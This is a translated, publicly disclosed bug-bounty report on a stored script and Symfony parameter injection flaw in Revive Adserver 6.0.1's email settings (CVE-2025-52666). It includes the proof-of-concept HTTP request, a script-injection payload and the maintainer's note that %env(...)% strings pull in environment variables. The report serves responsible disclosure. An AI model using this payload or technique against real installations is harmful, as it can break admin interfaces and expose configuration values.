Revive Adserver 输入处理缺陷导致的拒绝服务漏洞剖析

本文详细分析了在Revive Adserver中发现的一个输入处理漏洞。攻击者可通过在管理员设置中注入恶意脚本,导致页面功能被破坏或界面被替换,从而对访问者实施拒绝服务攻击。

Revive Adserver | 报告 #3399218 - 设置中不正确的输入清理可能导致拒绝服务

时间线:已验证黑客lu3ky-13向Revive Adserver提交了一份报告。

2025年10月25日,UTC时间4:42 我发现在account-settings-email.php中存在一个输入清理/编码问题,攻击者控制的、保存在email_fromNameemail_fromCompany中的值会被持久化存储,并在后续渲染到页面时没有进行适当的输出编码。由于任意JavaScript可以被持久化并在查看者的浏览器中执行,攻击者可以运行脚本来破坏或替换页面UI——有效地使受害者的网站无法使用(DOM级拒绝服务)。这是一个存储型/脚本注入漏洞,当渲染给管理员或特权用户时,具有高影响。

安全概念验证

  1. 访问 http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php
  2. email_fromNameemail_fromCompany字段添加载荷
  3. 这将禁用整个网站,你将无法使用它。

HTTP请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
POST /test2/revive-adserver-6.0.1/www/admin/account-settings-email.php HTTP/1.1
Host: localhost
Content-Length: 1122
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAFTySI5FcKHdgQSw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php
Accept-Encoding: gzip, deflate, br
Cookie: sessionID=44958de8497392e940916ecd332da541; ox_install_session_id=ln1aq7d4aopg1511andp5oocji
Connection: keep-alive

------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromAddress"

1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromName"

1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromCompany"

1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_logOutgoing"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_pluginType"


------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="token"

62f4ed819fb1ccc904033105a8d567ad
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitsettings"

Save Changes
------WebKitFormBoundaryAFTySI5FcKHdgQSw--

测试URL http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php

影响 当持久化的值被渲染到任何用户查看的页面时,在应用来源中执行任意脚本。 攻击者可能的操作包括:

  • 替换页面内容或移除UI控件(使网站对受害者不可用)。
  • 阻止与应用的交互(禁用按钮、隐藏表单)——有效地对查看受感染页面的用户实施有针对性的拒绝服务。
  • 针对用户的钓鱼覆盖、强制操作或其他客户端攻击(仅在cookie/会话未加固时才可能发生数据窃取)。 如果管理员用户查看受影响的页面,则影响很高(网站中断;可能在管理员上下文下执行特权操作)。 严重性:高——取决于哪些角色能看到持久化的值以及现有的cookie/会话保护措施。

附件 F4931193: image.png F4931194: image.png

2025年10月25日,UTC时间7:09 Revive Adserver工作人员mbeccati将状态改为“需要更多信息”。 感谢报告。是什么类型的载荷导致了这个问题?

2025年10月25日,UTC时间14:11 黑客lu3ky-13将状态改回“新”。 你好团队, 这是我使用的载荷:

1
'"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>

大多数其他部分也存在相同的问题。

2025年10月25日,UTC时间18:16 Revive Adserver工作人员mbeccati将状态改为“已分类”。 非常有趣,谢谢。我们会研究一下。

2025年10月25日,UTC时间18:20 黑客lu3ky-13发表评论。 你好, 关于CVE我有一个问题。你们是如何提供给我们的? 所有报告都接受CVE吗? 我查看了一些没有分配CVE的旧报告。你能给我更多信息吗? @mbeccati

2025年10月25日,UTC时间18:29 Revive Adserver工作人员mbeccati发表评论。 如果确认,每份报告都会获得一个CVE-ID。它们将在新版本发布时随披露信息一同公开。我们还需要了解您希望在安全公告文本中如何署名。

2025年10月25日,UTC时间18:53 黑客lu3ky-13发表评论。 署名 Ahmed Abdalkhaliq Abdulla (Lu3ky.13) https://github.com/Lu3ky13

2025年10月26日,UTC时间10:54 Revive Adserver工作人员mbeccati发表评论。 随附的h1-3399218.patch (F4933997)文件应该可以修复这个漏洞。 问题发生的原因是代码没有正确转义%字符,该字符在Symfony参数中具有特殊含义。在两个百分号之间使用意外内容可能导致应用程序崩溃,就像你的例子。另一方面,使用类似%env(PWD)%的内容会向symfony容器参数中插入环境变量。 风险较低,因为只有管理员可以更改设置,而且他们已经有很多其他方式来破坏应用程序或访问/操作数据。 此外,设置页面有CSRF攻击防护,所以我不认为这是执行DoS或其他类型攻击的可行方式。 附件 F4933997: h1-3399218.patch

2025年10月26日,UTC时间11:29 Revive Adserver工作人员mbeccati将严重性从高(7.3)更新为低(2.7)。 更改了CVSS评分,使其更合适。攻击者需要拥有管理员权限,并且最终可能破坏管理员UI。

2025年10月26日,UTC时间19:35 黑客lu3ky-13发表评论。 你好亲爱的, 我有个问题,这个修复是否覆盖了整个网站?我在其他几个地方尝试了相同的场景,也有效。如果我再次报告,会算作根本原因吗?@mbeccati

2025年10月27日,UTC时间12:03 Revive Adserver工作人员mbeccati发表评论。 是的,这份报告覆盖了所有设置,因为这是同一个问题。

2025年10月28日,UTC时间11:04 Revive Adserver工作人员mbeccati关闭了报告并将状态改为“已解决”。 我们目前计划在下周三,即11月5日,进行一次安全发布,修复多个漏洞。 我们将请求CVE-ID并准备详细的安全公告。如果您还没有告诉我们,请告知您希望使用的署名名称。 然而,由于某些漏洞的风险级别,我们将在一段时间后再披露详细信息,以便让尽可能多的用户在漏洞利用程序泛滥之前进行升级。希望您理解并同意提议的计划。

2025年10月28日,UTC时间11:57 黑客lu3ky-13发表评论。 署名 Ahmed Abdalkhaliq Abdulla (Lu3ky.13) https://github.com/Lu3ky13

2025年10月31日,UTC时间13:48 Revive Adserver工作人员mbeccati将报告标题从“存储型JavaScript注入 — 保存在email_fromName / email_fromCompany中的脚本可能导致网站禁用”改为“设置中不正确的输入清理可能导致拒绝服务”。

2025年10月31日,UTC时间14:23 Revive Adserver工作人员mbeccati将CVE引用更新为CVE-2025-52666。

2025年11月10日,UTC时间22:21 黑客lu3ky-13请求披露此报告。

2025年11月19日,UTC时间9:32 Revive Adserver工作人员mbeccati同意披露此报告。 此报告已被披露。

报告详情

  • 报告时间:2025年10月25日,UTC时间4:42
  • 报告人:lu3ky-13
  • 报告对象:Revive Adserver
  • 参与者:(无)
  • 报告ID:#3399218
  • 状态:已解决
  • 严重性:低 (2.7)
  • 披露时间:2025年11月19日,UTC时间9:32
  • 弱点:业务逻辑错误
  • CVE ID:CVE-2025-52666
  • 赏金:隐藏
  • 账户详情:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计